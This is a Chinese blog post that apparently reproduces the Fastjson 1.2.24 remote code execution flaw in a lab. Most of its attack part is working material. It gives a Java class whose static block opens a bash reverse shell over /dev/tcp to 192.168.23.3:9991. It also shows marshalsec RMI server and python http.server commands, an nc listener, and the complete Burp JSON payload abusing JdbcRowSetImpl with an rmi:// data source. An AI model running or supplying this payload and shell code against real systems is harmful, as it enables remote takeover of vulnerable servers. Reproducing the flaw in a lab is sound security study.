Fastjson1.2.24RCE漏洞复现

1.启动环境并且访问
在这里插入图片描述
在这里插入图片描述

2.下载marshalsec-0.0.3-SNAPSHOT-all.jar
3.新建Shell.java文件
import java.lang.Runtime;
import java.lang.Process;
public class shell{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {“/bin/bash”,“-c”,“exec 5<>/dev/tcp/192.168.23.3/9991;cat <&5 | while read line; do $line 2>&5 >&5; done”};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
4.坑:使用低版本jdk 1.8.0 编译!!!,否则可能执行失败
在这里插入图片描述
5.在kali 新建文件夹将shell.class和marshalsec-0.0.3-SNAPSHOT-all.jar 放在同一目录下然后同目录下执行:
python3 -m http.server 8888
在这里插入图片描述
Java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIfServer http://192.168.23.3:8888/#shell 1564
在这里插入图片描述
nc -lvnp 9991
在这里插入图片描述
6.Burp发送:
POST / HTTP/1.1
Host: 192.168.23.5:8090
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 164

{
“b”:{
“@type”:“com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:“rmi://192.168.23.3:1564/shell”,
“autoCommit”:true
}
}
在这里插入图片描述
7.nc监听:
在这里插入图片描述

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值